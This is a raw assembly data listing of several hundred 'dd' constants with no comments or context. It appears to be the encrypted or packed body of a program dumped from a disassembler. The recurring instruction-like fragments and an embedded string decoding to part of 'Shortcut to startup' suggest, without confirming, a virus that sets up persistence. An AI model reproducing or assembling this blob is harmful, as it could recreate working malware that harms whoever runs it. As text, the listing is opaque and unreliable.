		dd 16042444h, 41000000h, 3E9BC351h, 8D89F9DBh, 6AC2F0Dh
		dd 0FE9h, 455A9600h, 0DE55DD3Eh, 8C1C9FAFh, 5352B0ACh
		dd 1E0585C7h, 60F406ACh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0AD4AE1C3h, 0F427B77h
		dd 381h, 0DBCA8000h, 27F185C7h,	6ACh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0E9DF4EC3h, 0Fh, 177C4BD7h, 38096DB7h, 0DA368798h, 9E3DD14h
		dd 0AC08119Dh, 0B1B5FF06h, 0FF06AC28h, 0AC0BF995h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0C10DC266h, 95FF006Ah, 6AC2145h, 5DEBC08Bh, 0D895A779h
		dd 9BCD5292h, 9296123Dh, 0BB304D90h, 5789B02h, 1AAE150Ch
		dd 0A7BD8416h, 0D27C1819h, 283D6975h, 0E60869E6h, 9E7C0449h
		dd 0FAEB4399h, 2D3D8CBBh, 6E854B6Eh, 5BA3DB3h, 0F37606F6h
		dd 0D1E29622h, 3FEDBA55h, 3C57F321h, 2ACD7B98h,	3B4D7DBDh
		dd 0B760FE18h, 4BC4ABBCh, 0E48D8D6Bh, 6606B149h, 0B51AF081h
		dd 2F0D8D89h, 8E806ACh,	73000000h, 966F67BBh, 8BD33015h
		dd 0AC3211B5h, 9D8B5E06h, 6AC0571h, 1E0585C7h, 710406ACh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0B1F030C3h, 0C524DB26h, 0B58B294Ah, 6AC0009h
		dd 27F185C7h, 6ACh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 917B3CC3h, 0BFCD4E8Bh
		dd 0BE661F1Fh, 8956D6E3h, 0AC25018Dh, 0B5FF5B06h, 6AC0E09h
		dd 0FFC68B66h, 0AC0BF995h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0EB20738Ah
		dd 0BFE68121h, 8945F2EEh, 0AC24A5B5h, 0FF006A06h, 0AC214595h
		dd 0EBC08B06h, 63490F5Bh, 417674E7h, 54A8B9F9h,	8AD5542h
		dd 759F9E4Ah, 4DDDE614h, 3724BD9Bh, 0BE0DC183h,	0C2FDBE24h
		dd 6B005FF2h, 30EFDA33h, 1837832Dh, 315FB7Ah, 0CF39A92Eh
		dd 0DA85EF15h, 89F61E81h, 0F79D9B6Dh, 0D62EC638h, 0AF936CEEh
		dd 54B2A13Ah, 0D82538ACh, 58119882h, 0D2773E1Fh, 0DE8h
		dd 0A50E00h, 0E7074D71h, 5E75AE8h, 8B664451h, 0E8515BCFh
		dd 13h,	83F99B09h, 554417E3h, 202857BFh, 0DA68D096h, 8B738A96h
		dd 0AC0D65B5h, 81595906h, 6460C3h, 0B1BE6600h, 29FF2BDCh
		dd 0AC004595h, 1F34FF06h, 0CDC18166h, 9D315A9Ah, 6AC2945h
		dd 1CF2EA81h, 0F28143A6h, 1B3B1DD2h, 31C58531h,	0C28106ACh
		dd 6D5EB4DBh, 0B9F18060h, 2800Fh, 61600000h, 3B148961h
		dd 68A0Fh, 858B0000h, 6AC0B15h,	0EF83CE8Bh, 0BDD0B904h
		dd 0FF815DB8h, 0FFFF9C3Ch, 0FFA7850Fh, 8B66FFFFh, 0D98D8DC2h
		dd 8906B14Bh, 0AC2F0D8Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 6E9BB4Ah, 0
		dd 3BE527Dh, 585C749h, 0C06AC1Eh, 0E900006Eh, 8, 8CFC99A1h
		dd 0AC2EBC8Ch, 27F185C7h, 6ACh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 65C956C3h
		dd 270DB5FFh, 6A06ACh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0B5E429C3h, 8CD79534h, 8166C719h
		dd 8BF12DDEh, 0AC2EA9B5h, 0F995FF06h, 6A06AC0Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0FD18C357h, 8F0F608Ch, 0Fh, 9E8h, 0E1A13B00h, 7ACF98F0h
		dd 8B5AF1D8h, 0AC21D5BDh, 6A6106h, 214595FFh, 0C08B06ACh
		dd 0BBEE5DEBh, 1C7007D0h, 887B356Fh, 819778Bh, 1361A4B6h
		dd 89EDB43Ch, 94247C8Ah, 6BD31081h, 0E110DFE4h,	5AA43191h
		dd 0C721CB5Bh, 0B62E9DEh, 517E4930h, 0B88FB2Fh,	1C73A6h
		dd 86FB1D0Eh, 8BFD1117h, 18A43F4Ah, 220FD621h, 53D1D8DAh
		dd 0D3827505h, 55113F9Dh, 9624167Ah, 0DECC1B6Ch, 0D4D4712Ah
		dd 1DC4B46h, 0D4C8557Fh, 6398525Ch, 0A9A90B33h,	0F1982633h
		dd 0EF5E265Ah, 3334150Ah, 0FFB44E60h, 0F867A5E4h, 0A034073Eh
		dd 3AB1A3BEh, 7967209Ch, 0D949A3BAh, 0D71B209Fh, 3334230Ah
		dd 831D2933h, 0C0982633h, 17D46DB6h, 0D6157635h, 0AF296A0Eh
		dd 50DD963h, 839E8A3Eh,	35982664h, 1F152359h, 4B296A7Eh
		dd 9B1DAB63h, 39E977Fh,	0A53DB3CCh, 1493209Fh, 6AA1A23Ch
		dd 0B0152633h, 9C296A7Eh, 4DAACE63h, 0F6D82633h, 1FCBA3BEh
		dd 24C82082h, 65D46BB6h, 0FF677635h, 333432CAh,	1794E2B0h
		dd 0FCD46BB6h, 23157635h, 55296A0Eh, 780DD963h,	3D9E8A3Eh
		dd 6A982651h, 6474AD66h, 11CE7464h, 8DAB2E4Eh, 0A69824DAh
		dd 0D3DF6633h, 2C97260Ch, 2B67D9C6h, 1713EF00h,	35B2CF3Bh
		dd 48AB2633h, 0A71831B9h, 0E868AD03h, 5AAD63h, 0A9982C88h
		dd 0D49BCF33h, 896F2633h, 3566A57Dh, 656CA13Ch,	4EC3D9CCh
		dd 0EEDF7EFBh, 0D697E638h, 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch
		dd 88152637h, 9C296A08h, 0E8ABBEh, 93202082h, 78000000h
		dd 271E7FCh, 0C8D00731h, 4904C783h, 0FFF2850Fh,	0B58DFFFFh
		dd 6B14D70h, 4D8F8D8Dh,	0CF2B06B1h, 8B05E983h, 0AE8C8h
		dd 24C30000h, 3E74AF2Dh, 32CA4EFEh, 93DBF5Ah, 0C2812D4Ah
		dd 6DA3h, 0B8h,	20C8B00h, 0F864BF66h, 9C07C181h, 81662B46h
		dd 814AD0D7h, 42A846F1h, 176DBF34h, 0C1817B33h,	713097DCh
		dd 57AEBE66h, 80020C89h, 10E979C3h, 0BF000000h,	277AECDDh
		dd 0AC9D2EAFh, 0E70B87D3h, 81EA722Ch, 1B718AE8h, 11E922h
		dd 7DC80000h, 0BFCA8D2Ah, 66718B72h, 0DC3FF262h, 8138A766h
		dd 1B7186C0h, 0F7BF0F22h, 92E8F881h, 850FFFFFh,	0FFFFFF8Dh
		dd 315820F8h, 3131C852h, 6A121001h, 6DBB53C2h, 75B30025h
		dd 312B0625h, 62710101h, 926AD5C2h, 0B1FF6A3Ch,	0E3B279C2h
		dd 0E9BE76AAh, 2C07B267h, 0B53D00A9h, 31320082h, 0D964016Bh
		dd 31328002h, 6FF11E21h, 35165488h, 35165480h, 31320819h
		dd 0D4F15247h, 0B63B20EDh, 313204E8h, 6A70AA01h, 38DAB752h
		dd 41322001h, 0F63D31C2h, 4AC30CEDh, 184BB128h,	0B26D04ADh
		dd 9D3220BCh, 0B53D8007h, 3132404Eh, 0D960206Bh, 31321002h
		dd 6BF15221h, 35165088h, 35164680h, 31320119h, 0B9F1D243h
		dd 284C143h, 3134A30Eh,	0BC031001h, 379E0848h, 313002E8h
		dd 61326801h, 313202E9h, 0F26AA001h, 1576C959h,	1576A105h
		dd 31320605h, 0F2624801h, 614DD807h, 35BB6FB3h,	63326B25h
		dd 313283E9h, 0F2686001h, 1566A95Bh, 15769105h,	31321505h
		dd 0F2604601h, 0CC58AEBFh, 0E297B2D7h, 0C9B968AFh, 157E410Eh
		dd 0B0CB40FFh, 146636F7h, 5B6A6911h, 32DA5501h,	11320201h
		dd 0B86BC258h, 0B036A44Dh, 2B366445h, 70322001h, 29D7D350h
		dd 0AEF59079h, 0B9ED84E5h, 0B81EC282h, 9D350CB4h, 0BADE3207h
		dd 66322A09h, 313223E9h, 0F26D3001h, 154E815Eh,	15768505h
		dd 31321E05h, 0F2654601h, 38C2F8C1h, 0E0342B44h, 0ACB940F0h
		dd 379E34B4h, 31228A0Eh, 3ADB0401h, 0B1320201h,	0F8FECFDAh
		dd 780DB42h, 575372DEh,	61CE688Ah, 2CE79588h, 57690EADh
		dd 0CE043D80h, 31D9860Eh, 3BDA0101h, 65328001h,	70FD6578h
		dd 2335E291h, 0F0B14B09h, 66326208h, 313207E9h,	0F26D2201h
		dd 154E885Eh, 15760105h, 31325605h, 0F2656701h,	0B1BB28D1h
		dd 0B43DE138h, 313204E6h, 0D967026Bh, 31320102h, 6CF1DD21h
		dd 35162C88h, 35166480h, 31321014h, 12F15D44h, 30738F87h
		dd 0D965026Bh, 31320102h, 6EF1DF21h, 35163C88h,	35166480h
		dd 3132101Ah, 39F15F46h, 6A66669h, 0BA662FF2h, 5BFA02FBh
		dd 32DAD601h, 11324001h, 0B86CE35Fh, 0B0363475h, 2B362C45h
		dd 77320401h, 243C157h,	3EF6DEF9h, 8E3DE0A1h, 0B8B7CBF8h
		dd 50348C29h, 5B37D182h, 32DA5901h, 11320401h, 0B86BC158h
		dd 0B036254Dh, 2A36A445h, 70324001h, 0FDFE350h,	7AEA1434h
		dd 8E5405BEh, 0B0CA8998h, 72799238h, 0DB70E8Ah,	0BA328001h
		dd 9D3B9D94h, 2BFAD07h,	5B34BC4Fh, 32DA5801h, 11320401h
		dd 0B86AC159h, 0B0362545h, 2436A445h, 71324001h, 548DE351h
		dd 313213B9h, 8CAF8101h, 0CE34A81Bh, 1DF483E0h,	50547651h
		dd 0D960806Bh, 31324002h, 6BF17A21h, 35164488h,	35164C80h
		dd 31320419h, 1BF15043h, 0B1C476F3h, 7F173D8Ch,	0BCBF46B0h
		dd 3783711Dh, 0A3B164B9h, 0DCB73B00h, 1A34A806h, 315820CEh
		dd 3131C852h, 6A121001h, 6DBB53C2h, 75B30025h, 312B0625h
		dd 62710101h, 0F305E983h, 6AC08BA4h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 62BDC355h
		dd 0DA249A97h, 0AA7CD00Ah, 0CE8h, 3CA9900h, 14B261F5h
		dd 385E1235h, 0E95FF997h, 0Ah, 58FA36E7h, 804C49BEh, 0C38BEE21h
		dd 0DE8h, 5CB0D600h, 2D2C98B7h,	9ADDF587h, 0B5890552h
		dd 6AC050Dh, 81F38B5Bh,	5F30C3h, 31858900h, 0BF06AC0Eh
		dd 0
		dd 6880F60h, 8B000000h,	0AC2E899Dh, 9D8B5106h, 6AC27F9h
		dd 148B6158h, 6830F3Bh,	89000000h, 0AC0BA585h, 3C28106h
		dd 890E6A91h, 0AC1BF58Dh, 4CEA8106h, 8176B72Eh,	2D96C9D9h
		dd 0A2C28163h, 0B853BA3Fh, 18431AB3h, 803B1489h, 0EF83BAF0h
		dd 4F4FFC01h, 0E981664Fh, 0FF819867h, 0FFFFA15Ch, 0FFB0850Fh
		dd 0B70FFFFFh, 3E5078C2h, 3E39E4E2h, 641A06B0h,	6AB35973h
		dd 7ABB8594h, 3E21C494h, 6C7860B0h, 0C68D8C73h,	0AFD6FAE3h
		dd 0A3AF8726h, 0B53CAABAh, 0BB878070h, 3E3C2DAEh, 83B9C9C5h
		dd 38966A99h, 6E2344B0h, 86FA93E3h, 3E3A08B3h, 36B38339h
		dd 0A3B7051Ch, 389423D4h, 6661134Fh, 3413DD33h,	4A3A361Ch
		dd 866948A7h, 3E3A08B3h, 36B38339h, 0A3B7051Ch,	38941EE3h
		dd 6661134Fh, 0D66C60DAh, 3E3A30B3h, 60F94690h,	3A1E7839h
		dd 3A1E4231h, 3E3A03ADh, 93F9D7F6h, 3F8BA5F8h, 247B9949h
		dd 0BBB350CFh, 38960835h, 96A0B3D6h, 0C7B160D1h, 0D66803DAh
		dd 3E3A81B3h, 64F99A90h, 3A1E3439h, 3A1E7431h, 3E3A18A4h
		dd 6CF95EF2h, 62D087D6h, 0FEB1F64Ch, 3E3809BFh,	0D688C0B0h
		dd 0B7E2ECD6h, 920EE125h, 313EB0B6h, 3E394834h,	6F3A6CB0h
		dd 3E3A0058h, 0FD63A1B0h, 1A7649E9h, 1A7EE1B4h,	3E3A2DB4h
		dd 0FD6B59B0h, 75F95E30h, 0AAE6D3C8h, 0BF5C7CA9h, 58513547h
		dd 83B9193Bh, 38966091h, 0FBE3FB0h, 0BF3A18B0h,	1AEFF147h
		dd 3CC5EFBCh, 3E5003B0h, 3E3969E3h, 651AC0B0h, 62B33B73h
		dd 7ABB3494h, 3E201C94h, 6D790CB0h, 6D320A73h, 4CC01382h
		dd 0AB9D3BD6h, 3E1DC00Eh, 53BF49B2h, 0B33C9CB8h, 91BBA635h
		dd 0A7AF87B6h, 0C13CAA95h, 0F1B16560h, 0BA354135h, 3E3AC071h
		dd 0D66B60DAh, 3E3A30B3h, 67F94190h, 3A1E4039h,	3A1E4231h
		dd 3E3A03A9h, 4AF9D0F1h, 0F995360Ch, 6902E17Ch,	31C1B1D6h
		dd 3E3A2035h, 8BAF0FB0h, 583CAABFh, 3C3E7B31h, 0FDBE8EB2h
		dd 543AC0B2h, 3DD236B0h, 1E3A30B0h, 0B764DBEEh,	0BF3E28C4h
		dd 223E22F4h, 783A03B0h, 913442E6h, 20FAD23Fh, 8CD6E957h
		dd 6BB56ECh, 0BB35782Ch, 3E3A0CE1h, 35BF8B83h, 46BA051Ch
		dd 0BB3569B2h, 3E3AC0F1h, 354FDD3Bh, 0BF5C361Ch, 953A1EC8h
		dd 3E1589BFh, 0ABB306B0h, 38962381h, 3E38E459h,	683AAAB0h
		dd 3E3A6358h, 0FD6410B0h, 1A4E91EEh, 1A7E8DB4h,	3E3A1FB4h
		dd 0FD6C45B0h, 5470A6Eh, 0F8BA5FD8h, 3F3ADE3Ch,	3E5076B1h
		dd 3E39F0E5h, 631A0CB0h, 52B35B73h, 7ABB0794h, 3E268594h
		dd 6B7FC0B0h, 98CD2B73h, 0C547FB97h, 0BBB76596h, 38958D0Eh
		dd 0D66B06DAh, 3E3A03B3h, 67F9D890h, 3A1E8C39h,	3A1E2431h
		dd 3E3A30ADh, 0D5F949F1h, 340CBB6Ah, 961FCE74h,	0F4850C80h
		dd 78B514Fh, 0DDD941D6h, 31FAE513h, 3E3BBC34h, 0D78731B0h
		dd 0BF3CA0A0h, 3C076088h, 4BF0CB2h, 313A81B0h, 3E3AC233h
		dd 0BF0AD6B0h, 35C36C8h, 0BA3562EFh, 3E3A0D02h,	0D66C06DAh
		dd 3E3A03B3h, 60F9DF90h, 3A1EB439h, 3A1E2431h, 3E3A30ADh
		dd 8EF94EF6h, 6789C699h, 6C4C1105h, 6BB6519h, 0BB35E12Ch
		dd 3E3AC0F4h, 56F8E1E1h, 61563719h, 0D6386030h,	3E0889BFh
		dd 36D306B0h, 723A03B0h, 66D30532h, 5878B637h, 3E3C1831h
		dd 27BF3F70h, 373A18B0h, 9225B90Dh, 3F76EFB6h, 0A3B103B0h
		dd 3896A9C5h, 93A7EBD0h, 5F3CCC99h, 3F3B300Eh, 693A72CEh
		dd 3E3A0F58h, 0FD6526B0h, 1A468AEFh, 1A7E00B4h,	3E3AD5B4h
		dd 0FD6D27B0h, 8C8809D9h, 0BF849D3Dh, 0B3390A1Fh, 38963501h
		dd 0B138E3Bh, 0EEC5871Ch, 65CB909h, 31FAE5CBh, 3E3A9C34h
		dd 6BBF31B0h, 0BE3CA0B6h, 0BB35EE88h, 3E3A03F8h, 0EB70C39h
		dd 46BAC61Ch, 0BB3513B5h, 3E3A3088h, 0F077DF31h, 0F3BA5E34h
		dd 394286D3h, 0F9BE0CE3h, 543A81B0h, 3DD295B0h,	1E3A60B0h
		dd 0B767F3EDh, 0BF3E3CDCh, 293E28F4h, 7B3A06B0h, 0E6BFC0E5h
		dd 8339A5D2h, 3896C049h, 0B102E1D6h, 74BF3FB5h,	543A18B0h
		dd 3DD25CB0h, 1E3A06B0h, 0B762C0E8h, 0BF3EA5F4h, 2B3EE4F4h
		dd 7E3A60B0h, 951AF3E0h, 563C6030h, 3E1989BFh, 0B3B306B0h
		dd 38960959h, 354200D6h, 0BB35E54Fh, 3E3A60A1h,	2B2F8D39h
		dd 6DD31E1Ch, 0F3A0CB0h, 9232BF2Dh, 3E3ABBB6h, 3E5081B0h
		dd 3E3928E3h, 651A60B0h, 62B36B73h, 7ABB1C94h, 3E260894h
		dd 6D7906B0h, 0B28E5E73h, 3886A594h, 2DD2ABDCh,	213A60B0h
		dd 9DA00434h, 0FCEDC337h, 748DC264h, 0FC33B113h, 0A3B399B6h
		dd 38968FA5h, 3E1729EAh, 3F8260B0h, 543A30B0h, 3DD24DB0h
		dd 1E3A0CB0h, 0B767C5EDh, 0BF3E27DCh, 253EA5F4h, 7B3AC0B0h
		dd 0E4A4A3E5h, 9CD2EFDCh, 0A6802D8Ch, 0AE489156h, 3E2A82BFh
		dd 5E5A03B0h, 3E3C69D1h, 113CC0B0h, 0AB18A0D6h,	856A51EFh
		dd 12AD4836h, 5F878520h, 0BF3CAAA1h, 2CC73E5Ah,	27870CB6h
		dd 0B33C71E2h, 8F6D653Dh, 6B1988B6h, 0BB396FD6h, 38961059h
		dd 0D7FBC99Bh, 3B300EB2h, 3A72CE3Fh, 3A0F5869h,	6526B03Eh
		dd 468AEFFDh, 7E00B41Ah, 5E9831Ah, 6A58A4F3h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0B32DC356h, 22BE632Ah, 51006AF3h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 8BD2F207h
		dd 0AC2415BDh, 0BD68B06h, 74840FC0h, 0B3000000h, 33B58DD8h
		dd 6A06AC4Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 8DE9C353h, 14389587h, 1C4D9D8Bh
		dd 3B806ACh, 80000000h,	0E96043C6h, 0Ch, 136F6A36h, 51711C12h
		dd 5E8D7698h, 38A0Fh, 8B660000h, 0E6FF61C6h, 13E8h, 0DCB16600h
		dd 0E8935790h, 7338FA16h, 0EB316Eh, 4341A007h, 14D18589h
		dd 405F06ACh, 13E8h, 16938500h,	7983EFC3h, 0E042A12Ah
		dd 0E1436F5Ah, 0AF32A042h, 25E59D29h, 8B5F06ACh, 8DB589C0h
		dd 8306AC13h, 0AC1E85BDh, 9750006h, 0A29BD83h, 740006ACh
		dd 8B535019h, 403B8C0h,	85890000h, 6AC0C01h, 0A2CB9D8Dh
		dd 0D3FF06AEh, 0BD83585Bh, 6AC0A29h, 50177400h,	403B853h
		dd 85890000h, 6AC0C01h,	9F6C9D8Dh, 0D3FF06AEh, 6A585Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 33F0AC3h, 0AC2AB19Dh, 25958B06h, 6A06AC20h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 7CA6C350h, 0C3479A20h, 8B2D98AEh, 53006AC0h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0E2D339A5h
		dd 0E2A3C76Ch, 9D8B3BDCh, 6AC1351h, 82E961h, 8AA90000h
		dd 685338EBh, 6374726Fh, 74207475h, 7473206Fh, 75747261h
		dd 70h,	1Ah dup(0)
		dd 0F08E9h, 5B106800h, 6EE906B1h, 68FFFBEBh, 6B15C1Ch
		dd 0FBEB64E9h, 5DA368FFh, 5AE906B1h, 68FFFBEBh,	6B15DE2h
		dd 0FBEB50E9h, 5E8F68FFh, 46E906B1h, 68FFFBEBh,	6B15F45h
		dd 0FBEB3CE9h, 633268FFh, 32E906B1h, 68FFFBEBh,	6B165B5h
		dd 0FBEB28E9h, 66A168FFh, 1EE906B1h, 7FFFFBEBh,	0B2985B28h
		dd 4C66A5E4h, 85AF6C19h, 4369AAD7h, 0A8AD6E13h,	2B5606CBh
		dd 0E891C2E8h, 2855012Bh, 0EF90C1EBh, 0FE5B982Ch, 6A0DF920h
		dd 0C46216EFh, 0D47CE895h, 633BF885h, 7A09C806h, 9B48CF03h
		dd 0F1360428h, 0F1064954h, 7BEFC468h, 92ABE5Ch,	0FFE2876Ah
		dd 2A4C5D43h, 4E5407h, 0AFA20000h, 296FD085h, 83194EB4h
		dd 419FAD86h, 6E2FEE24h, 45771244h, 0F0EC7B66h,	0F5614A68h
		dd 8F148D2h, 502D786Ah,	413C6CC4h, 6DB316D5h, 9A6A08F1h
		dd 0CE3550B1h, 780B4A91h, 8B658952h, 0B5566449h, 0C90E124Eh
		dd 0FF05072Ah, 0F3000000h, 7CE895C4h, 0C55BFEBFh, 0FD635C9Fh
		dd 6F46D2AFh, 0CF63517Ah, 0DE76E29Fh, 5E23738Fh, 5CC8E3CAh
		dd 1BD8A5F4h, 8B54295Ah, 0F0F49A67h, 654CD8A5h,	65F7C4Eh
		dd 0C4635D54h, 12BE895h, 9E60C550h, 69635D55h, 55F30DA8h
		dd 371C635Dh, 79A3371Ch, 0DD0E1Ch, 0AE0A819Ah, 6634CA6Fh
		dd 0F8D3635Dh, 0ECB712D3h, 1968F16Dh, 0CCA9F132h, 6EB749ECh
		dd 0F0B66A09h, 5837977Bh, 0D1FAD1C4h, 10693A10h, 589FAD84h
		dd 0E3126A19h, 4A27B959h, 61655B78h, 0C9E26F9Ah, 0F722208h
		dd 0CBB6E6CCh, 6FFEE701h, 1BAA3C73h, 0C9Ah, 458683D4h
		dd 8B48396Fh, 488BF4A1h, 8A493062h, 4E8DF0A0h, 0B5E5284Bh
		dd 72210BC8h, 0B4E0CA09h, 71200AC9h, 0B87BCF0Ch, 0DFB031Dh
		dd 81F50C6Ah, 54FADCAFh, 95DE6DDh, 94F5A3h, 0E7B71B29h
		dd 5918599Ah, 5D3122FCh, 0F4C6ED63h, 0B7740958h, 0F38EDCF6h
		dd 0D3B633C1h, 8A79DC1Dh, 3B68F0A5h, 0A9C15FFAh, 0E44E6A08h
		dd 6841D5B0h, 0DBFC6843h, 6A08AA41h, 0CB5F2071h, 0DE4A3763h
		dd 0EBA85B3Ch, 0F2AE5530h, 72AC8EEh, 0C1E5h, 95C41300h
		dd 84D47CE8h, 84AE6DF9h, 163FABD6h, 0A33E0724h,	0ADFC635Ch
		dd 7FABBC08h, 1D3621A9h, 0E7A2F6DCh, 0AD685A73h, 21B5D687h
		dd 0F806A3E2h, 17635D8Dh, 0B5D00E3Ch, 881BBE7Fh, 8568F195h
		dd 10456FAEh, 0BCAE377h, 99650AEh, 0A694BF6Ah, 905E3B63h
		dd 0D6102251h, 0DA7CC5D7h, 3D8A2FE8h, 4C6F9AB9h, 0DC8CA667h
		dd 92362A1h, 99B02459h,	2A5707ABh, 6FB830E0h, 22930573h
		dd 0B8Eh, 31F28FD8h, 0FF3C4D1Bh, 448780D5h, 8E4D3C6Eh
		dd 4A89F4A4h, 89D92C4Fh, 4E1D37F4h, 80D4FE3Dh, 3D6C4685h
		dd 0F4378340h, 0DFBCF51h, 0B5C1386Ah, 6AB0DCAFh, 461AA983h
		dd 0F588D874h, 304D1C36h, 85AF87F3h, 173EAAD7h,	0A7D88925h
		dd 0B1CA9B33h, 0F20E5A70h, 0FCCEE5A4h, 527839h,	47D3AEF8h
		dd 0A977456Eh, 62C706CCh, 68F0A28Fh, 0A681153Eh, 6A08A554h
		dd 0A9E9187Dh, 72ACDC7h, 7BEh, 7DD4800h, 29000008h, 0DC1DD3B6h
		dd 0F0993E79h, 70E4CF68h, 37F489D8h, 0E2B24C1Dh, 675B49Fh
		dd 0F90CD927h, 0C2506260h, 310C7201h, 0A670593Bh, 494BB794h
		dd 0EE94F45h, 334C1DD3h, 0F68BDAF0h, 8FB64562h,	0C6A3D14Dh
		dd 0CBB4E51Bh, 0E732208h, 0A89ABD9Ah, 40142E0Dh, 379251C5h
		dd 0D14D8FE9h, 0F3A70D26h, 87E00296h, 4F8E275Ch, 43EB793Ch
		dd 0C8E17516h, 0F8546B3Bh, 4BA29CAh, 0C1EB2855h, 4F3A6E90h
		dd 1933F064h, 8DA4304Dh, 83177427h, 234698AAh, 674C396Ch
		dd 34A003A6h, 86ADD6E1h, 8D0D1A45h, 0F1DB1AE8h,	654CD8A5h
		dd 0DE359057h, 0EFDD8D07h, 90B912C4h, 7C1C948Dh, 0AF0ACB19h
		dd 0C24A233Ch, 0B7BF7A89h, 0B2E629DCh, 0B2D70D99h, 0E918BD7Ch
		dd 0E4C8F2E7h, 0BFEC1C4Eh, 547F56C2h, 0C594BE7Fh, 517BB8h
		dd 92EFBF95h, 11AA69B7h, 0CC55A6CAh, 0C6950709h, 408AA18Ah
		dd 18817A9Ah, 74CFD6Bh,	6700000Ah, 0BA905330h, 745E9DECh
		dd 8DA76421h, 4B61A2DFh, 0A0A5661Bh, 235E0EC3h,	0E099CAE0h
		dd 205D0923h, 0E798C9E3h, 0F6539024h, 6A0DFD28h, 0C46A1EE7h
		dd 0E622E895h, 3F7E34F8h, 9C818A9h, 71260000h, 0AFF9D310h
		dd 6E3B11D2h, 0A6F4DE1Dh, 623218DBh, 0BAD9DC1Fh, 995A2777h
		dd 589BE0B3h, 985B2672h, 5D9EE3B2h, 718F2AE9h, 9E6A0DFDh
		dd 95C41367h, 0CCBF7CE8h, 0A71A9FD9h, 0D27E4C68h, 633CFF82h
		dd 4517BA6h, 0F297497Bh, 96BCFD3Ch, 507341C0h, 68F099C1h
		dd 9668CD0Ch, 716A08FFh, 0E8A7715Ah, 4392749Bh,	0B98B8C14h
		dd 8B9EC39Ah, 0A46A0FA8h, 1629C065h, 0EA4315Ah,	0C3022958h
		dd 303417B0h, 158904FEh, 0DD6E64Bh, 4EDCEEC5h, 0F233F194h
		dd 28FAC57h, 0F3321938h, 34F788D9h, 0F8324F1Eh,	0ABF04A36h
		dd 1BC879EFh, 4B000009h, 86AC6F1Ch, 5872B1D0h, 99B3700Dh
		dd 5F75B6CBh, 0B4B1720Fh, 3F4212D7h, 8485D6FCh,	4C396D47h
		dd 8BF4A58Fh, 9A3FFC48h, 6A0DFE84h, 0C40E7A83h,	6829E895h
		dd 5CA033CDh, 0B81DDC63h, 635CA066h, 52A18AA1h,	0D4E301A4h
		dd 6BF9CB7Ah, 29EA97C3h, 68114268h, 6547795Ah, 95D4635Dh
		dd 5D65EE30h, 321963h, 0B475BBDEh, 0F11B4F5h, 0F8635D66h
		dd 92C2E1D3h, 0F168EC1Dh, 1B5A1BDAh, 0EBF60BEh,	5405AF6Ah
		dd 0BD96BF2Bh, 972238Fh, 0C8B1E2C8h, 44153FFAh,	5707AF3Bh
		dd 90C1EB2Ah, 8C4FDDEFh, 296F3A6h, 0E1B5192Bh, 0E6566EA4h
		dd 0F96F7886h, 86548h, 0B5D68100h, 7F0A5C76h, 46C396BCh
		dd 8CFDAF85h, 4835654Fh, 18ED8E8Bh, 0DCF63548h,	1B31F28Fh
		dd 0DBF1324Fh, 8632F18Ah, 0FF1EE045h, 10E96A0Dh, 0E895C464h
		dd 33CD6829h, 8635CA0h,	5CA053ADh, 8297BC63h, 345503A9h
		dd 29BB89A0h, 3BAFD081h, 98EA99D8h, 0B7D286ECh,	4EF90A23h
		dd 80635179h, 89F2A361h, 15FEE24Ah, 0F7F50DD6h,	36000004h
		dd 324F1Ch, 0D485AFF2h,	24163FABh, 90519FFAh, 0EB574135h
		dd 0B8E84268h, 0D27851C5h, 38118584h, 0A9F8D213h, 2D060355h
		dd 0D085AFEEh, 315B85B7h, 834067F3h, 0C84161A4h, 767A36ADh
		dd 6D8DB912h, 29h, 9DDCB69Bh, 5796BDCEh, 5CA02CF2h, 64F0DB63h
		dd 0B53D7D43h, 42A1C483h, 6F752A0Eh, 719EDh, 0DDEF0000h
		dd 1E7h, 1CDCB629h, 4C16AF88h, 0E4A53AB0h, 0CFE00A5h, 0FA09DCC9h
		dd 1F30111Bh, 0E9DBF0A6h, 959BD70Ah, 59946A68h,	57652673h
		dd 3945h, 0DCAFB300h, 29A6CB6Dh, 0EA3406A8h, 0F2814080h
		dd 2254B037h, 1D8FBDF8h, 0B107D03Ah, 6815403Ah,	40154FCh
		dd 12F11690h, 0D4FF8ADCh, 3B776A0Fh, 9469AF35h,	862Ch
		dd 0DCB6DA00h, 24B0CD9Dh, 8AF7A70Dh, 0DD1C371Eh, 5C9FA678h
		dd 98CB6163h, 5C2FC8E3h, 2C4FFF2Dh, 93FBFDB5h, 153F0DD6h
		dd 75144640h, 0D1E3C8E1h, 52C3h, 0DCB63500h, 0A478DD1Ch
		dd 67635C9Fh, 0F90CD34Ch, 1A4AB0E3h, 0F1DAF367h, 0E09DCD65h
		dd 12F19674h, 0D30EE95Dh, 0D6D6999Fh, 25880Dh, 0A4B0000h
		dd 5CA851AFh, 3F95BE63h, 0DF2D1F6Ch, 10EDDh, 2E5D1C00h
		dd 0AD40F7B3h, 9D6346A4h, 6A635D78h, 0DD817341h, 0BDh
